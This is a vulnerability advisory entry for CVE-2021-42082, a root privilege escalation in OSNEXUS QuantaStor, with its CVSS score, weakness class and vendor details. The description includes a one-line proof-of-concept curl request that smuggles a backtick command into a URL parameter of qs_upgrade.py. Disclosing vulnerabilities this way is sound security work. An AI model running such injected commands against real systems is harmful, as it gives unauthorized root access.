CVE-2021-42082

—

CVSS 3.1

7.8 high

EPSS

<1%p8

Published

Jul 10, 2023 (Jul 10, 2023)

Modified

Jun 17, 2026

Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Vendors: osnexus
Products: quantastor
Weakness: CWE-269
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

NVD CVE.org GitHub PoCs EPSS (0.2%)

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